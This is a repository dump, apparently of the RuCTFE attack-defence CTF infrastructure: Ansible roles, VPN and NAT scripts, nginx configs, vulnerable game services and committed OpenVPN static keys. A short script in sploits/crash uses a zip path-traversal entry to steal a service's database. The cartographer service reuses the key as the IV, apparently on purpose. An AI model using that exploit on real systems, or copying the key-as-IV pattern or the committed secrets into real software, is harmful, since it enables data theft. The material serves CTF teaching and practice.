18 | logfile = "" 19 | 20 | omit_hostname = true 21 | 22 | 23 | # # Send telegraf metrics to file(s) 24 | # [[outputs.file]] 25 | # files = ["stdout"] 26 | # data_format = "influx" 27 | 28 | [[outputs.graphite]] 29 | servers = ["10.10.10.10:2003"] 30 | prefix = "cs" 31 | template = "measurement.tags.field" 32 | timeout = 20 33 | 34 | [[inputs.tail]] 35 | files = ["/home/cs/app/log/metrics.log"] 36 | from_beginning = false 37 | data_format = "influx" 38 | -------------------------------------------------------------------------------- /services/atlablog/_buisness_views/logout.py: -------------------------------------------------------------------------------- 1 | from sanic import Blueprint 2 | 3 | from _buisness_views import USER_DB_NAME, REDIRECT_AFTER_LOGOUT 4 | from users import get_user_service 5 | from utils import redirect 6 | 7 | bp = Blueprint('logout') 8 | 9 | 10 | @bp.record 11 | def registered(state): 12 | app = state.app 13 | view = state.options.get('view') 14 | 15 | if not view: 16 | raise RuntimeError( 17 | "This blueprint expects you to provide view object! " 18 | "Use: app.blueprint(bp, view=...)") 19 | 20 | bp.view = view 21 | 22 | 23 | @bp.route('/logout') 24 | async def logout(request): 25 | response = redirect(request, REDIRECT_AFTER_LOGOUT) 26 | service = get_user_service(USER_DB_NAME) 27 | await service.set_request_user(request, response, user=None) 28 | return response 29 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/antidos/antidos_serv.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import asyncio 4 | 5 | 6 | MSG = """Please, stop the flood attack on the game network. 7 | 8 | --- 9 | RuCTFE organizers. 10 | """ 11 | 12 | 13 | def accept_client(client_reader, client_writer): 14 | task = asyncio.Task(handle_client(client_reader, client_writer)) 15 | 16 | def client_done(task): 17 | client_writer.close() 18 | 19 | task.add_done_callback(client_done) 20 | 21 | 22 | @asyncio.coroutine 23 | def handle_client(client_reader, client_writer): 24 | client_writer.write(MSG.encode()) 25 | 26 | 27 | def main(): 28 | loop = asyncio.get_event_loop() 29 | f = asyncio.start_server(accept_client, host=None, port=40001) 30 | loop.run_until_complete(f) 31 | loop.run_forever() 32 | 33 | if __name__ == '__main__': 34 | main() 35 | -------------------------------------------------------------------------------- /services/atlablog/test_view.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | from views import View 4 | 5 | 6 | def test_render_without_context(): 7 | view = View({"HTML_TEMPLATES_DIR": 'templates'}) 8 | html = view.render('example') 9 | assert '' in html 10 | assert '

hello!

' in html 11 | 12 | 13 | def test_render_with_context(): 14 | view = View({"HTML_TEMPLATES_DIR": 'templates'}) 15 | html = view.render('example', {'name': 'AKJWFaawkjfbaw'}) 16 | assert '' in html 17 | assert '

hello! AKJWFaawkjfbaw

' in html 18 | 19 | 20 | def test_render_not_found_template(): 21 | view = View({"HTML_TEMPLATES_DIR": 'templates'}) 22 | with pytest.raises(view.ViewError) as excinfo: 23 | view.render('example.html') 24 | excinfo.match(r'View "html" .*TemplateNotFound.*example\.html\.html') 25 | -------------------------------------------------------------------------------- /ansible/roles/dump/tasks/main.yml: -------------------------------------------------------------------------------- 1 | - name: install wireshark-common package 2 | apt: name=wireshark-common state=latest 3 | tags: dump 4 | 5 | - name: create dump directory 6 | file: path=/home/dump state=directory 7 | tags: dump 8 | 9 | - name: copy start_dump_eth1.sh 10 | copy: src=start_dump_eth1.sh dest=/home/dump/start_dump.sh mode=0755 11 | when: datacenter=='a' 12 | tags: dump 13 | 14 | - name: copy start_dump_eth0.sh 15 | copy: src=start_dump_eth0.sh dest=/home/dump/start_dump.sh mode=0755 16 | when: datacenter=='b' 17 | tags: dump 18 | 19 | - name: copy get_pkg_stat.sh 20 | copy: src=get_pkg_stat.sh dest=/home/dump/get_pkg_stat.sh mode=0755 21 | tags: dump 22 | 23 | - name: copy dump systemd service 24 | copy: src=dump@.service dest=/etc/systemd/system/dump@.service 25 | notify: enable and restart dump 26 | tags: dump 27 | 28 | 29 | -------------------------------------------------------------------------------- /ansible/roles/cs_common/tasks/main.yml: -------------------------------------------------------------------------------- 1 | - name: ensure user 2 | user: name={{cs_user}} state=present 3 | 4 | - name: ensure common requirements 5 | apt: name={{item}} state=latest update_cache=yes 6 | with_items: 7 | - libssl-dev 8 | - libpq-dev 9 | - cpanminus 10 | - git 11 | - build-essential 12 | 13 | - name: clone repo 14 | git: repo=https://github.com/HackerDom/checksystem.git dest={{cs_dir}}/app 15 | become: yes 16 | become_user: "{{cs_user}}" 17 | 18 | - name: copy config 19 | template: src={{cs_conf}} dest={{cs_dir}}/app/c_s.conf owner={{cs_user}} group={{cs_user}} 20 | 21 | - name: ensure permissions 22 | file: path={{cs_dir}}/app owner={{cs_user}} group={{cs_user}} recurse=yes 23 | 24 | - name: perl modules 25 | command: cpanm -n --installdeps {{cs_dir}}/app 26 | register: r 27 | changed_when: "r.stdout.find('Found dependencies') != -1" 28 | -------------------------------------------------------------------------------- /services/thebin/nginx.conf: -------------------------------------------------------------------------------- 1 | worker_processes 4; 2 | error_log /var/log/nginx/error.log notice; 3 | load_module modules/ndk_http_module.so; 4 | load_module modules/ngx_http_lua_module.so; 5 | 6 | events { 7 | worker_connections 1024; 8 | } 9 | 10 | http { 11 | include mime.types; 12 | lua_package_path '/etc/nginx/?.lua;;'; 13 | 14 | server { 15 | listen 80; 16 | charset utf-8; 17 | 18 | location ~* /(login|logout|publish|post) { 19 | content_by_lua ' 20 | require("lapis").serve("app") 21 | '; 22 | } 23 | 24 | location /publics { 25 | content_by_lua ' 26 | require("public").process() 27 | '; 28 | } 29 | 30 | location /my { 31 | content_by_lua ' 32 | require("my").process() 33 | '; 34 | } 35 | 36 | location / { 37 | root /etc/nginx/static/; 38 | } 39 | 40 | location /static/ { 41 | root /etc/nginx/; 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /services/atlablog/users/decorators.py: -------------------------------------------------------------------------------- 1 | from functools import wraps 2 | from inspect import isawaitable 3 | 4 | from utils import redirect 5 | from . import get_user_service 6 | 7 | 8 | def login_required(*, login_url='/login', user_db_name=None): 9 | if not isinstance(login_url, str): 10 | raise TypeError('login_url is not a str') 11 | 12 | def decorate(func): 13 | async def wrapper(request, *args, **kwargs): 14 | service = get_user_service(user_db_name) 15 | user = await service.get_request_user(request) 16 | if not user.is_authenticated(): 17 | return redirect(request, login_url) 18 | 19 | response = func(request, *args, **kwargs) 20 | if isawaitable(response): 21 | response = await response 22 | return response 23 | 24 | return wrapper 25 | 26 | return decorate 27 | -------------------------------------------------------------------------------- /services/sapmarine/Sources/Trip.swift: -------------------------------------------------------------------------------- 1 | import SwiftyJSON 2 | import Foundation 3 | 4 | public class Trip { 5 | var id: String; 6 | var passenger: String; 7 | var driver: String; 8 | 9 | init(_ passenger: String, _ driver: String){ 10 | id = UUID().uuidString; 11 | self.passenger = passenger 12 | self.driver = driver 13 | } 14 | 15 | convenience init(_ jsonString : String) { 16 | let dataFromString = jsonString.data(using: .utf8, allowLossyConversion: false)! 17 | let json = JSON(data: dataFromString) 18 | self.init(json) 19 | } 20 | 21 | init(_ json: JSON) { 22 | id = json["id"].stringValue 23 | passenger = json["passenger"].stringValue 24 | driver = json["driver"].stringValue 25 | } 26 | 27 | public func toJson() -> String { 28 | return JSONSerializer.toJson(self) 29 | } 30 | } -------------------------------------------------------------------------------- /ansible/roles/sapmarine/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Create user 3 | user: createhome=yes name=sapmarine 4 | 5 | - name: Copy service 6 | copy: 7 | src: "{{ playbook_dir }}/../services/sapmarine/" 8 | dest: "/home/sapmarine/" 9 | 10 | - name: Build project 11 | command: swift build -c release --build-path /home/sapmarine/bin/ 12 | args: 13 | chdir: /home/sapmarine/ 14 | environment: 15 | PATH: "/opt/swift-3.0-RELEASE-ubuntu14.04/usr/bin:{{ ansible_env.PATH }}" 16 | tags: 17 | - skip_ansible_lint 18 | 19 | - name: Fix permissions 20 | file: name="/home/sapmarine" state=directory owner=sapmarine recurse=yes 21 | 22 | - name: Add systemd service 23 | template: src=service.j2 dest=/lib/systemd/system/sapmarine.service 24 | 25 | - name: Enable service 26 | service: name=sapmarine enabled=yes 27 | 28 | - name: Start service 29 | service: name=sapmarine state=restarted 30 | tags: 31 | - skip_ansible_lint 32 | -------------------------------------------------------------------------------- /services/atlablog/utils.py: -------------------------------------------------------------------------------- 1 | from sanic.response import HTTPResponse 2 | 3 | 4 | def redirect(request, to_url, headers=None, status=None, content_type=None): 5 | """ 6 | Aborts execution and causes a 303 or 302 redirect, depending on 7 | the HTTP 1.1 method. 8 | """ 9 | if not content_type: 10 | content_type = "text/html; charset=utf-8" 11 | if not status: 12 | if request.method == "POST": 13 | # See: https://en.wikipedia.org/wiki/HTTP_303 14 | status = 303 15 | else: 16 | status = 302 17 | if not to_url.startswith("/") and not to_url.startswith("http"): 18 | to_url = "/" + to_url 19 | if headers is None: 20 | headers = {} 21 | # According to RFC 7231, a relative URI is now permitted. 22 | headers['Location'] = to_url 23 | return HTTPResponse(status=status, headers=headers, 24 | content_type=content_type) 25 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/networkclosed/check_network.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | NETOPENED=$(cat /proc/sys/net/ipv4/ip_forward) 4 | 5 | if [[ $NETOPENED == 1 ]]; then 6 | echo Network is opened 7 | 8 | for num in {0..767}; do 9 | ip="10.$((80 + num / 256)).$((num % 256)).1" 10 | iptables -t nat -w -C PREROUTING -i team${num} -p tcp -m tcp -m comment --comment closednetwork -j DNAT --to-destination ${ip}:40002 &> /dev/null 11 | if [[ $? == 0 ]]; then 12 | echo "Warning: DNAT record still exists for team ${num}" 13 | fi 14 | done 15 | 16 | else 17 | echo Network is closed 18 | 19 | for num in {0..767}; do 20 | ip="10.$((80 + num / 256)).$((num % 256)).1" 21 | iptables -t nat -w -C PREROUTING -i team${num} -p tcp -m tcp -m comment --comment closednetwork -j DNAT --to-destination ${ip}:40002 &> /dev/null 22 | if [[ $? != 0 ]]; then 23 | echo "Warning: no DNAT record for team ${num}" 24 | fi 25 | done 26 | fi 27 | -------------------------------------------------------------------------------- /services/cartographer/src/main/kotlin/cartographer/crypto/DefaultCryptography.kt: -------------------------------------------------------------------------------- 1 | package cartographer.crypto 2 | 3 | import org.springframework.stereotype.Component 4 | import java.security.Key 5 | import javax.crypto.Cipher 6 | import javax.crypto.spec.IvParameterSpec 7 | 8 | @Component 9 | class DefaultCryptography(val cryptographySettings: CryptographySettings) : Cryptography { 10 | override fun encrypt(key: Key, plaintext: ByteArray): ByteArray { 11 | val cipher = Cipher.getInstance(cryptographySettings.cipherSpec) 12 | cipher.init(Cipher.ENCRYPT_MODE, key, IvParameterSpec(key.encoded)) 13 | return cipher.doFinal(plaintext) 14 | } 15 | 16 | override fun decrypt(key: Key, ciphertext: ByteArray): ByteArray { 17 | val cipher = Cipher.getInstance(cryptographySettings.cipherSpec) 18 | cipher.init(Cipher.DECRYPT_MODE, key, IvParameterSpec(key.encoded)) 19 | return cipher.doFinal(ciphertext) 20 | } 21 | } -------------------------------------------------------------------------------- /ansible/roles/vpn/files/snat/add_snat_rules.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # adds rules for teams snat. Team will see incoming connections from 10.8{0..3}.{0..255}.1 3 | # this script should be run once before the game starts 4 | 5 | # check if the rules are already exists 6 | for num in {0..767}; do 7 | ip="10.$((80 + num / 256)).$((num % 256)).1" 8 | 9 | if iptables -t nat -C POSTROUTING -o team${num} -j SNAT --to-source ${ip} &>/dev/null; then 10 | echo "SNAT rules already exists, delete them first" 11 | exit 1 12 | fi 13 | done 14 | 15 | 16 | for num in {0..767}; do 17 | ip="10.$((80 + num / 256)).$((num % 256)).1" 18 | 19 | iptables -t nat -A POSTROUTING -o team${num} -j SNAT --to-source ${ip} 20 | done 21 | 22 | sysctl net.nf_conntrack_max=30000000 23 | echo "sysctl net.nf_conntrack_max=30000000" 24 | 25 | echo 33554432 > /sys/module/nf_conntrack/parameters/hashsize 26 | echo "echo 33554432 > /sys/module/nf_conntrack/parameters/hashsize" 27 | -------------------------------------------------------------------------------- /services/atlablog/sessions/models.py: -------------------------------------------------------------------------------- 1 | import peewee 2 | from peewee_async import Manager 3 | 4 | 5 | def make_models(db, db_name, loop): 6 | class SessionStorage(peewee.Model): 7 | key = peewee.CharField(max_length=40, unique=True) 8 | value = peewee.TextField(default='') 9 | 10 | class Meta: 11 | database = db 12 | db_table = db_name 13 | 14 | def initdb(): 15 | with db.allow_sync(): 16 | SessionStorage.create_table(True) 17 | 18 | def dropdb(): 19 | with db.allow_sync(): 20 | SessionStorage.drop_table(True) 21 | 22 | def make_manager(): 23 | # create table synchronously 24 | manager = Manager(db, loop=loop) 25 | # disable any future syncronous calls 26 | # raise AssertionError on ANY sync call 27 | manager.database.allow_sync = False 28 | return manager 29 | 30 | return initdb, dropdb, make_manager(), SessionStorage 31 | -------------------------------------------------------------------------------- /ansible/roles/backuper/files/checksystem_backup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | host_a="185.32.185.55" 4 | host_b="5.45.248.212" 5 | 6 | filename=$(date -u "+%Y%m%d-%H%M.txt.gz") 7 | 8 | ssh_opts="-o StrictHostKeyChecking=no -o CheckHostIP=no" 9 | ssh_opts="$ssh_opts -o NoHostAuthenticationForLocalhost=yes" 10 | ssh_opts="$ssh_opts -o BatchMode=yes -o LogLevel=ERROR" 11 | ssh_opts="$ssh_opts -o UserKnownHostsFile=/dev/null" 12 | 13 | file_a="/home/backuper/a/${filename}" 14 | file_b="/home/backuper/b/${filename}" 15 | 16 | timeout -s9 180 ssh $ssh_opts "postgres@${host_a}" 'pg_dumpall | gzip' > $file_a 17 | size=`stat -c %s $file_a` 18 | if [[ $? != 0 || $size == 0 ]]; then 19 | ls -l $file_a |& mail -s "Site A backup failed!" bay@hackerdom.ru 20 | fi 21 | 22 | timeout -s9 180 ssh $ssh_opts "postgres@${host_b}" 'pg_dumpall | gzip' > $file_b 23 | size=`stat -c %s $file_b` 24 | if [[ $? != 0 || $size == 0 ]]; then 25 | ls -l $file_b |& mail -s "Site B backup failed!" bay@hackerdom.ru 26 | fi 27 | -------------------------------------------------------------------------------- /sploits/crash/sploit2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys 3 | import os 4 | import zipfile 5 | import requests 6 | from io import BytesIO 7 | 8 | addr = sys.argv[1] 9 | guid = sys.argv[2] 10 | 11 | # zip minidump file 12 | inMemoryZip = BytesIO() 13 | zf = zipfile.ZipFile( inMemoryZip, mode='w' ) 14 | zf.write( "dump.dmp", arcname = '%s.dmp' % guid ) 15 | zf.write( "dummy.file", "../../reports.db" ) 16 | zf.close() 17 | inMemoryZip.seek(0) 18 | 19 | # submit report 20 | url = 'http://%s/submit' % ( addr ) 21 | print url 22 | files = { 'dump_zip_file': inMemoryZip.read() } 23 | headers = { 'Service-Name' : "submarine_internal", 'GUID' : guid } 24 | requests.post(url, files=files, headers=headers ) 25 | 26 | # download zip with reports.db 27 | url = 'http://%s/%s/get' % ( addr, guid ) 28 | r = requests.get( url ) 29 | zip = zipfile.ZipFile( BytesIO( r.content ) ) 30 | database = zip.read( "../../reports.db" ) 31 | open( "reports.db", 'wb' ).write( database ) # we got the DATABASE WITH FLAGS!! 32 | -------------------------------------------------------------------------------- /ansible/roles/cs_master/templates/nginx.conf.j2: -------------------------------------------------------------------------------- 1 | upstream cs { 2 | server 127.0.0.1:8080; 3 | } 4 | 5 | server { 6 | listen 80; 7 | access_log /var/log/nginx/cs.access.log; 8 | 9 | gzip on; 10 | gzip_types text/plain text/css application/javascript application/json; 11 | client_max_body_size 50m; 12 | 13 | location / { 14 | proxy_pass http://cs; 15 | proxy_set_header X-Real-IP $remote_addr; 16 | proxy_set_header Host $http_host; 17 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 18 | } 19 | 20 | location /update { 21 | proxy_pass http://cs; 22 | proxy_http_version 1.1; 23 | proxy_set_header X-Real-IP $remote_addr; 24 | proxy_set_header Host $http_host; 25 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 26 | proxy_set_header Upgrade $http_upgrade; 27 | proxy_set_header Connection "upgrade"; 28 | } 29 | 30 | location /viz { 31 | root /home/cs; 32 | index viz.html; 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /ansible/roles/monitoring/files/default: -------------------------------------------------------------------------------- 1 | upstream django { 2 | # Distribute requests to servers based on client IP. This keeps load 3 | # balancing fair but consistent per-client. In this instance we're 4 | # only using one uWGSI worker anyway. 5 | server unix:/tmp/graphite.sock; 6 | } 7 | 8 | server { 9 | listen 80 default_server; 10 | 11 | location /static/ { 12 | alias /usr/share/graphite-web/static/; 13 | } 14 | 15 | location / { 16 | uwsgi_pass django; 17 | include uwsgi_params; 18 | } 19 | 20 | location /g/ { 21 | proxy_pass http://127.0.0.1:3000/; 22 | proxy_redirect off; 23 | proxy_set_header Host $host; 24 | } 25 | 26 | location = /favicon.ico { 27 | alias /var/www/grafana/favicon.ico; 28 | } 29 | auth_basic "Oops!"; 30 | auth_basic_user_file /etc/nginx/htpasswd; 31 | } 32 | -------------------------------------------------------------------------------- /ansible/roles/thebin/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: Install requirements 3 | apt: name={{ item }} default_release=testing 4 | with_items: 5 | - libssl-dev 6 | - luarocks 7 | - git 8 | 9 | - name: Copy service 10 | synchronize: 11 | src: "{{ playbook_dir }}/../services/thebin/" 12 | dest: "/etc/nginx/" 13 | recursive: yes 14 | use_ssh_args: yes 15 | rsync_opts: 16 | - "--exclude=rand.c" 17 | notify: restart nginx 18 | 19 | - name: Install lua requirements 20 | command: luarocks install {{ item.name }} creates=/usr/local/share/lua/5.1/{{ item.creates }} 21 | with_items: 22 | - { name: md5, creates: md5.lua } 23 | - { name: lapis, creates: lapis } 24 | notify: restart nginx 25 | 26 | - name: Fix permissions 27 | file: name="/etc/nginx/" state=directory owner=www-data recurse=yes 28 | notify: restart nginx 29 | 30 | - name: Add startup for config.lua 31 | lineinfile: dest=/etc/rc.local insertbefore="exit 0" line="/etc/nginx/startup.sh" 32 | -------------------------------------------------------------------------------- /services/atlablog/sessions/README.md: -------------------------------------------------------------------------------- 1 | # get session data 2 | 3 | form session import session_blueprint, get_session_service 4 | NAME = 'sessions' 5 | app = ... 6 | app.blueprint(session_blueprint, db=database, db_name=NAME, loop=None) 7 | 8 | @app.route('/') 9 | async def handler_get_data(request): 10 | # get data 11 | data = await get_session_service(NAME).get_request_session_data(request) 12 | ... 13 | 14 | @app.route('/') 15 | async def handler_get_data(request): 16 | response = ... 17 | data = ... 18 | ... 19 | # set data 20 | await get_session_service(NAME).set_request_session_data(request, response, data) 21 | ... 22 | return response 23 | 24 | 25 | # low lewel API 26 | 27 | async def examples(): 28 | session = get_session_service(NAME) 29 | await get_session_data(uid) 30 | await set_session_data(uid, data) 31 | await update_session_data(uid, data) 32 | -------------------------------------------------------------------------------- /services/sapmarine/Sources/Utils.swift: -------------------------------------------------------------------------------- 1 | import Foundation 2 | 3 | extension String 4 | { 5 | func trim() -> String 6 | { 7 | return self.trimmingCharacters(in: CharacterSet.whitespacesAndNewlines) 8 | } 9 | 10 | func fromBase64() -> String? { 11 | guard let data = Data(base64Encoded: self) else { 12 | return nil 13 | } 14 | 15 | return String(data: data, encoding: .utf8) 16 | } 17 | 18 | func toBase64() -> String { 19 | return Data(self.utf8).base64EncodedString() 20 | } 21 | 22 | func htmlEncode() -> String { 23 | return self.replacingOccurrences(of: "&", with: "&") 24 | .replacingOccurrences(of: "\"", with: """) 25 | .replacingOccurrences(of: "'", with: "'") 26 | .replacingOccurrences(of: "<", with: "<") 27 | .replacingOccurrences(of: ">", with: ">") 28 | .replacingOccurrences(of: "/", with: "/") 29 | } 30 | } -------------------------------------------------------------------------------- /services/sapmarine/Sources/Profile.swift: -------------------------------------------------------------------------------- 1 | import SwiftyJSON 2 | import Foundation 3 | 4 | public class Profile { 5 | var name: String 6 | var fullName: String 7 | var job: String 8 | var notes: String 9 | 10 | init(_ name: String, _ fullName: String, _ job: String, _ notes: String) { 11 | self.name = name 12 | self.fullName = fullName 13 | self.job = job 14 | self.notes = notes 15 | } 16 | 17 | convenience init(_ jsonString : String) { 18 | let dataFromString = jsonString.data(using: .utf8, allowLossyConversion: false)! 19 | let json = JSON(data: dataFromString) 20 | self.init(json) 21 | } 22 | 23 | init(_ json: JSON) { 24 | name = json["name"].stringValue 25 | fullName = json["fullName"].stringValue 26 | job = json["job"].stringValue 27 | notes = json["notes"].stringValue 28 | } 29 | 30 | public func toJson() -> String { 31 | return JSONSerializer.toJson(self) 32 | } 33 | } -------------------------------------------------------------------------------- /ansible/roles/vpn/gen/gen_conf_server.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | N = 768 5 | 6 | SERVER_DATA = """mode p2p 7 | port {0} 8 | dev team{1} 9 | dev-type tun 10 | ifconfig 10.{2}.{3}.1 10.{2}.{3}.2 11 | route 10.{4}.{3}.0 255.255.255.0 12 | keepalive 10 60 13 | ping-timer-rem 14 | persist-tun 15 | persist-key 16 | 17 | txqueuelen 1000 18 | tun-mtu 1500 19 | fragment 1300 20 | mssfix 21 | 22 | 23 | {5} 24 | 25 | """ 26 | 27 | if __name__ != "__main__": 28 | print("I am not a module") 29 | sys.exit(0) 30 | 31 | # gen client configs 32 | os.chdir(os.path.dirname(os.path.realpath(__file__))) 33 | try: 34 | os.mkdir("server") 35 | except FileExistsError: 36 | print("Remove ./server dir first") 37 | sys.exit(1) 38 | 39 | for i in range(N): 40 | key = open("keys/%d.key" % i).read() 41 | 42 | data = SERVER_DATA.format(30000+i, i, 80 + i // 256, 43 | i % 256, 60 + i // 256, key) 44 | open("server/%d.conf" % i, "w").write(data) 45 | 46 | print("Finished, check ./server dir") 47 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/0.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30000 3 | dev team0 4 | dev-type tun 5 | ifconfig 10.80.0.1 10.80.0.2 6 | route 10.60.0.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | abc85988bb07819444d7636f4337f653 23 | 5120d605c2400228c142a667758237bf 24 | 2bbb6df641343049c6465549f750c47f 25 | ac9b93560bca1095ce769bbcb0955211 26 | 487a5b310f33d0b11b9b02a8dbe8ce6e 27 | 383f49a22f3840706aeb051eba24cecb 28 | 4b00301c22029d0b27e87fd443c6e31d 29 | 7828794a3a7c215a2edef4765edeb285 30 | c578af7a671204118785cacc35deb27c 31 | 8477278fd49b9eaab053175ce25b5ebe 32 | 62a7f41d203826b491d0b8bcf6b2fa0d 33 | 6a853b27e008a12d1a1fcc38774affb2 34 | 31649baaa5676875d48289bd671553b2 35 | d7829b7a37ae0f7870c89cbba89b8292 36 | b72dd5ebc297eda8026ba686df275cfc 37 | 5830a4479e7114649bbddca93c61b25c 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/1.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30001 3 | dev team1 4 | dev-type tun 5 | ifconfig 10.80.1.1 10.80.1.2 6 | route 10.60.1.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 7233707fc21d141962a7e7e4fd82f2d2 23 | a62b014e3870ad611bdc68394df962ca 24 | 9895c4a82ebf228f3509408bfed64c26 25 | a14c9487791fc86d6d4fdffb67f1ba43 26 | acc300bcdc6331c43810e17435421d5a 27 | d13566e6919d445d50082bc2de6e064b 28 | 33d34a5c9b3a6ff37c7f6b826a307179 29 | dffa4963e1686e4f8472da0162db3065 30 | 005486493334c5172ef4ae4f5917305d 31 | 70d024908aa878e9baae730fc54c6600 32 | 9f6efb22af73b0d69d6060a1b8454929 33 | 4b77950698c745d33965747adbd6d8a2 34 | a2c63a7922df5a2b4938c80a2306a7a2 35 | ca42c814996112e7770566d77c87b0fc 36 | e5e14e218228fc3549d729b5245939be 37 | b46950d6034adc92304c3d86d9c57043 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/2.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30002 3 | dev team2 4 | dev-type tun 5 | ifconfig 10.80.2.1 10.80.2.2 6 | route 10.60.2.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 6d8cd905c0e634bfe4acfed398a8bc54 23 | 1378628647bdf9cd7e2c6091c61a2961 24 | ee64c2d04d028efe159f948febb0d865 25 | af8c97bcef22d6f5b5847b4cf383a141 26 | 2c1bf899253f9143539acf7fee1b7a31 27 | 792c4c12afc503f821dec7cba09d2aea 28 | b7ee0794f71e2426a077cd2053df9526 29 | 3266fa05fb70d0757c1abb5d6824308a 30 | 05a7fa6dfaa2068db034b0e14d4b97b0 31 | c411ec1269dc048726218a5ffcaf407c 32 | eb2d616fcfe9e61f8b310abe453e5bf6 33 | 365720584d052620e6cb2b128a2685a8 34 | c00941570d6cef872dc5c7d901b34e1b 35 | 3d8dfe92f2fd164f571892fda6358543 36 | 78ee0dba79d36d37d37465fc04f46c3f 37 | bce69555e2173cc58094ec3e3e16309a 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/256.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30256 3 | dev team256 4 | dev-type tun 5 | ifconfig 10.81.0.1 10.81.0.2 6 | route 10.61.0.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | fbb8ea46933499f4f23ab0172fd1f06c 23 | 841571070bed45351ecdcdaff56efb20 24 | 4c9f3b7dcfb7a338d7c095d98f2800f9 25 | 3e0161b8526fe65c65e48b8daccd26f5 26 | 655fcaf7b426b930d06bbc0e1b678d7a 27 | 7bdd0e45c75bd04bf371f85c8812fa77 28 | b688943f93c5f00d8823212789b88b59 29 | be91f3bc6e53e4051266daa0d51ae08c 30 | ed55098bd318ac57859bd99849466e71 31 | ee2e635b7cefa8ba23eff1adc22c0ced 32 | 11e97dcdd00edfa02078f766a5ac9720 33 | a716a20e28011c77f28d8b57d459e1dd 34 | 9859c8c3ea0cc86f991030522fef009d 35 | 7848887159a66441cfdc6f954b09fe41 36 | b4482fa0cb403b464ac6b386998e1a7a 37 | 8e604f436726c8ee5a7861c7f2bb5cc4 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/257.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30257 3 | dev team257 4 | dev-type tun 5 | ifconfig 10.81.1.1 10.81.1.2 6 | route 10.61.1.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 99e95f68035cf1d38fab0f9dcbe42228 23 | 32f3c3030470aaa45972c0c5e399eb8f 24 | dfd2b3ae162c9268f0b7d1ff82d5cb43 25 | 5886cd6b8fdccc95409a0e66d3553227 26 | 85766f2f00175f8e211318bd1c6932a6 27 | 51dd20b40e0d6e92a81c9fa95206bb73 28 | 9c7f22981ad4d98f27bd7fcd9640abf2 29 | 9911565df0d3679b03c72761d4bf183d 30 | e4bb68779c846ee0bb2a9df6f608f992 31 | bfcf70a6142b40bf714801a70067b881 32 | e1312a4003e55a633ffc83a1b5ba6e90 33 | f28ff49d299a8ad4eaa6171942eae6f0 34 | 07145eba98cf12d95f4942e036a517bd 35 | fff6c06fa8d9d55144f772e08dfe0111 36 | bed84d713a4d46e269bfb96aa10a9736 37 | ecea22d5ef531e382a007707a442e1cc 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/258.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30258 3 | dev team258 4 | dev-type tun 5 | ifconfig 10.81.2.1 10.81.2.2 6 | route 10.61.2.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | cb23ccbe8da721d51458629f0080c943 23 | 653eb0dd2d2e923c7187516cac3ce219 